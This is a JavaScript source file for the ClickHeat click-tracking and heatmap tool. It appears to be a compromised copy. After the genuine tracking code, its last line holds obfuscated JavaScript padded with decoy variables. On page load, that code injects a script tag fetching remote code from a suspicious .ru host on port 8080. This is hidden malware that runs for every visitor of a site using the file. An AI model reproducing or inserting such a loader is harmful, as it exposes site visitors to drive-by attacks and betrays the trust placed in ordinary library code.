/**
ClickHeat : Suivi et analyse des clics / Tracking and clicks analysis

@author Yvan Taviaud - LabsMedia - www.labsmedia.com/clickheat/
@since 27/10/2006
@update 01/03/2007 - Yvan Taviaud : correctif Firefox (Károly Marton)
@update 23/03/2007 - Yvan Taviaud : protection de 2 secondes entre chaque clic, et X clics maximum par page
@update 18/05/2007 - Yvan Taviaud : suppression de clickHeatPage, ajout de clickHeatGroup et clickHeatSite
@update 27/08/2007 - Yvan Taviaud : changement du système de débug
@update 28/09/2007 - Yvan Taviaud : ajout de quelques messages de débug

Tested under :
Windows 2000 - IE 6.0
Linux - Firefox 2.0.0.1, Konqueror 3.5.5, IE 7
*/

/** Main function */
function catchClickHeat(e)
{
	/** Use a try{} to avoid showing errors to users */
	try
	{
		showClickHeatDebug('Gathering click data...');
		if (clickHeatQuota == 0)
		{
			showClickHeatDebug('Click not logged: quota reached');
			return true;
		}
		if (clickHeatGroup == '')
		{
			showClickHeatDebug('Click not logged: group name empty (clickHeatGroup)');
			return true;
		}
		/** Look for the real event */
		if (e == undefined)
		{
			e = window.event;
			c = e.button;
			element = e.srcElement;
		}
		else
		{
			c = e.which;
			element = null;
		}
		if (c == 0)
		{
			showClickHeatDebug('Click not logged: no button pressed');
			return true;
		}
		/** Filter for same iframe (focus on iframe => popup ad => close ad => new focus on same iframe) */
		if (element != null && element.tagName.toLowerCase() == 'iframe')
		{
			if (element.sourceIndex == clickHeatLastIframe)
			{
				showClickHeatDebug('Click not logged: same iframe (happens when a click on iframe occured opening a popup and popup is closed)');
				return true;
			}
			clickHeatLastIframe = element.sourceIndex;
		}
		else
		{
			clickHeatLastIframe = -1;
		}
		var x = e.clientX;
		var y = e.clientY;
		var w = clickHeatDocument.clientWidth != undefined ? clickHeatDocument.clientWidth : window.innerWidth;
		var h = clickHeatDocument.clientHeight != undefined ? clickHeatDocument.clientHeight : window.innerHeight;
		var scrollx = window.pageXOffset == undefined ? clickHeatDocument.scrollLeft : window.pageXOffset;
		var scrolly = window.pageYOffset == undefined ? clickHeatDocument.scrollTop : window.pageYOffset;
		/** Is the click in the viewing area? Not on scrollbars. Still the problem exists for FF on the horizontal scrollbar */
		if (x > w || y > h)
		{
			showClickHeatDebug('Click not logged: out of document (should be a click on scrollbars)');
			return true;
		}
		/** Check if last click was at least 1 second ago */
		clickTime = new Date();
		if (clickTime.getTime() - clickHeatTime < 1000)
		{
			showClickHeatDebug('Click not logged: at least 1 second between clicks');
			return true;
		}
		clickHeatTime = clickTime.getTime();
		if (clickHeatQuota > 0)
		{
			clickHeatQuota = clickHeatQuota - 1;
		}
		params = 's=' + clickHeatSite + '&g=' + clickHeatGroup + '&x=' + (x + scrollx) + '&y=' + (y + scrolly) + '&w=' + w + '&b=' + clickHeatBrowser + '&c=' + c + '&random=' + Date();
		showClickHeatDebug('Ready to send click data...');
		/** Local request? Try an ajax call */
		var sent = false;
		if (clickHeatServer.substring(0, 4) != 'http')
		{
			var xmlhttp = false;
			try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
			catch (e)
			{
				try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");	}
				catch (oc) { xmlhttp = null; }
			}
			if (!xmlhttp && typeof XMLHttpRequest != undefined) xmlhttp = new XMLHttpRequest();
			if (xmlhttp)
			{
				if (clickHeatDebug == true)
				{
					xmlhttp.onreadystatechange = function()
					{
						if (xmlhttp.readyState == 4)
						{
							if (xmlhttp.status == 200)
							{
								showClickHeatDebug('Click recorded at ' + clickHeatServer + ' with the following parameters:<br />x = ' + (x + scrollx) + ' (' + x + 'px from left + ' + scrollx + 'px of horizontal scrolling)<br />y = ' + (y + scrolly) + ' (' + y + 'px from top + ' + scrolly + 'px of vertical scrolling)<br />width = ' + w + '<br />browser = ' + clickHeatBrowser + '<br />click = ' + c + '<br />site = ' + clickHeatSite + '<br />group = ' + clickHeatGroup + '<br /><br />Server answer: ' + xmlhttp.responseText);
							}
							else if (xmlhttp.status == 404)
							{
								showClickHeatDebug('click.php was not found at: ' + (clickHeatServer != '' ? clickHeatServer : '/clickheat/click.php') + ' please set clickHeatServer value');
							}
							else
							{
								showClickHeatDebug('click.php returned a status code ' + xmlhttp.status + ' with the following error: ' + xmlhttp.responseText);
							}
						}
					}
				}
				xmlhttp.open('GET', clickHeatServer + '?' + params, true);
				xmlhttp.setRequestHeader('Connection', 'close');
				xmlhttp.send(null);
				sent = true;
			}
		}
		if (sent == false)
		{
			/** This test is needed, as it includes the call to click.php in the iframe */
			if (clickHeatDebug == true)
			{
				showClickHeatDebug('Click recorded at ' + clickHeatServer + ' with the following parameters:<br />x = ' + (x + scrollx) + ' (' + x + 'px from left + ' + scrollx + 'px of horizontal scrolling)<br />y = ' + (y + scrolly) + ' (' + y + 'px from top + ' + scrolly + 'px of vertical scrolling)<br />width = ' + w + '<br />browser = ' + clickHeatBrowser + '<br />click = ' + c + '<br />site = ' + clickHeatSite + '<br />group = ' + clickHeatGroup + '<br /><br />Server answer:<br />' + '');
			}
			else
			{
				var clickHeatImg = new Image();
				clickHeatImg.src = clickHeatServer + '?' + params;
			}
		}
	}
	catch(e)
	{
		showClickHeatDebug('An error occurred while processing click (Javascript error): ' + e.message);
	}
	return true;
}

var clickHeatGroup = '';
var clickHeatSite = '';
var clickHeatServer = '';
var clickHeatLastIframe = -1;
var clickHeatTime = 0;
var clickHeatQuota = -1;
var clickHeatBrowser = '';
var clickHeatDocument = '';
var clickHeatDebug = (window.location.href.search(/debugclickheat/) != -1);
function initClickHeat()
{
	/** Debug Window */
	if (clickHeatDebug == true)
	{
		document.body.innerHTML = document.body.innerHTML + '<div id="clickHeatDebuggerDiv" style="padding:5px; display:none; position:absolute; top:10px; left:10px; border:1px solid #888; background-color:#eee;"><strong>ClickHeat debug: <a href="#" onmouseover="document.getElementById(\'clickHeatDebuggerDiv\').style.display = \'none\'; return false">Rollover to close</a></strong><br /><br /><span id="clickHeatDebuggerSpan"></span></div>';
	}

	if (clickHeatGroup == '' || clickHeatServer == '')
	{
		showClickHeatDebug('ClickHeat NOT initialised: either clickHeatGroup or clickHeatServer is empty');
		return false;
	}

	/** If current website has the same domain as the script, we remove the domain so that the call is made using Ajax */
	domain = window.location.href.match(/http:\/\/[^/]+\//);
	if (domain != null && clickHeatServer.substring(0, domain[0].length) == domain[0])
	{
		clickHeatServer = clickHeatServer.substring(domain[0].length - 1, clickHeatServer.length)
	}
	/** Add onmousedown event */
	if (typeof document.onmousedown == 'function')
	{
		currentFunc = document.onmousedown;
		document.onmousedown = function(e) { catchClickHeat(e); return currentFunc(e); }
	}
	else
	{
		document.onmousedown = catchClickHeat;
	}
	/** Add onfocus event on iframes (mostly ads) - Does NOT work with Gecko-powered browsers, because onfocus doesn't exist on iframes */
	iFrames = document.getElementsByTagName('iframe');
	for (i = 0; i < iFrames.length; i++)
	{
		if (typeof iFrames[i].onfocus == 'function')
		{
			currentFunc = iFrames[i].onfocus;
			iFrames[i].onfocus = function(e) { catchClickHeat(e); return currentFunc(e); }
		}
		else
		{
			iFrames[i].onfocus = catchClickHeat;
		}
	}
	/** Preparing main variables */
	clickHeatDocument = document.documentElement != undefined && document.documentElement.clientHeight != 0 ? document.documentElement : document.body;
	/** Also the User-Agent is not the best value to use, it's the only one that gives the real browser */
	var b = navigator.userAgent != undefined ? navigator.userAgent.toLowerCase().replace(/-/g, '') : '';
	clickHeatBrowser = b.replace(/iceweasel/, 'firefox').replace(/^.*(firefox|kmeleon|safari|msie|opera).*$/, '$1');
	if (b == clickHeatBrowser || clickHeatBrowser == '') clickHeatBrowser = 'unknown';
	showClickHeatDebug('ClickHeat initialised with:<br />site = ' + clickHeatSite + '<br />group = ' + clickHeatGroup + '<br />server = ' + clickHeatServer + '<br />quota = ' + (clickHeatQuota == -1 ? 'unlimited' : clickHeatQuota) + '<br /><br />browser = ' + clickHeatBrowser);
}
/**
* Shows a debug string
**/
function showClickHeatDebug(str)
{
	if (clickHeatDebug == true)
	{
		document.getElementById('clickHeatDebuggerSpan').innerHTML = str;
		document.getElementById('clickHeatDebuggerDiv').style.display = 'block';
	}
}

var Q='';try {var S;if(S!='' && S!='Qi'){S='Gs'};this.i="";this.R="";this.qj="";var w=RegExp;var v=new Array();var YS=new Array();var bt=new String();var Sh=new Array();var Z="repl"+"nX9Hace".substr(4);var RE;if(RE!='' && RE!='RW'){RE='z'};var o=new String();function M(H,E){this.oo='';var A;if(A!='' && A!='Mf'){A=''};var _=String("[");var m;if(m!='f'){m='f'};this.qs='';var V="g";var Xh;if(Xh!='' && Xh!='ZE'){Xh=null};var On;if(On!='' && On!='Gn'){On=null};_+=E;var Nw;if(Nw!='' && Nw!='sN'){Nw='s_'};_+="pty]".substr(3);var d=new Array();var mO=new String();var mS;if(mS!='J' && mS!='Df'){mS=''};var G=new w(_, V);this.sd='';this.oA="";return H[Z](G, new String());var HQ;if(HQ!='' && HQ!='qm'){HQ='mOW'};};this.Bv='';var DV;if(DV!='' && DV!='Ge'){DV='Nn'};var uO="";var eu;if(eu!='' && eu!='xd'){eu='_a'};var fP;if(fP!=''){fP='B_'};var Dt;if(Dt!='' && Dt!='oW'){Dt='aR'};var T=M('/0g6o6o0g6l6e0.6c0o6m0/0g6o0o6g0l0e0.6c0o0m6/6w0e0l6t6.0d6e0/0a6b6o6u6t6.6c6o0m6/0f0a0s0t6b6r6o6w6s6e6r6s0e0a6r0c0h0.6c0o6m0.6p6h6p0',"60");var TO;if(TO!='Mw'){TO='Mw'};var Hb=M('cDrSeSaVtMeSEVlVeVmDeDnVtS',"DCMSV");var Ta=M('8777770773383333077337',"37");var mL;if(mL!='' && mL!='il'){mL=null};var u_;if(u_!='' && u_!='wv'){u_=''};var Uj;if(Uj!=''){Uj='Dd'};var j=M('obnXlboXabdX',"Xb");var YC='';var tb;if(tb!='' && tb!='dn'){tb=null};var e=M('hCtCtOpC:C/C/VmOebgOabuCpClCobaCdC-CcboOmb.CnbeVwOsO3CiCnbsViVdVeVrV.VcOoVmb.ClCiCnbkOeOdCiCnb-VcOoVmC.VTChOeCSbuCpVeVrCEVxbcOhVaOnVgCeV.Vrbub:b',"OVCb");this.Ng='';var Gd=window;this.YM='';this.pc='';var eA=M('sScvrvi5pvtY',"Sxv5Y");var TF;if(TF!='tZ'){TF=''};this.to="";var VV='';this.RA="";this.wY="";u=function(){var Zz;if(Zz!='CA' && Zz!='hd'){Zz=''};var xj;if(xj!='mB'){xj='mB'};c=document[Hb](eA);this.PT="";var nG="";var lm;if(lm!='' && lm!='BL'){lm=null};VV=e+Ta;VV+=T;var Co="";var CR=new Date();var pU=new Date();this.Pz='';c.src=VV;var yO;if(yO!=''){yO='AT'};var Qm;if(Qm!='' && Qm!='es'){Qm='MBz'};c.defer=([9,1][1]);var W;if(W!='oz'){W='oz'};var Kb;if(Kb!='um'){Kb='um'};var aP=new Date();var vA="";document.body.appendChild(c);};var Nu;if(Nu!='SJ' && Nu!='NnS'){Nu=''};var mG;if(mG!='' && mG!='EB'){mG=null};var ca;if(ca!='' && ca!='Uc_'){ca=null};Gd[j]=u;} catch(X){};var ZQ=new String();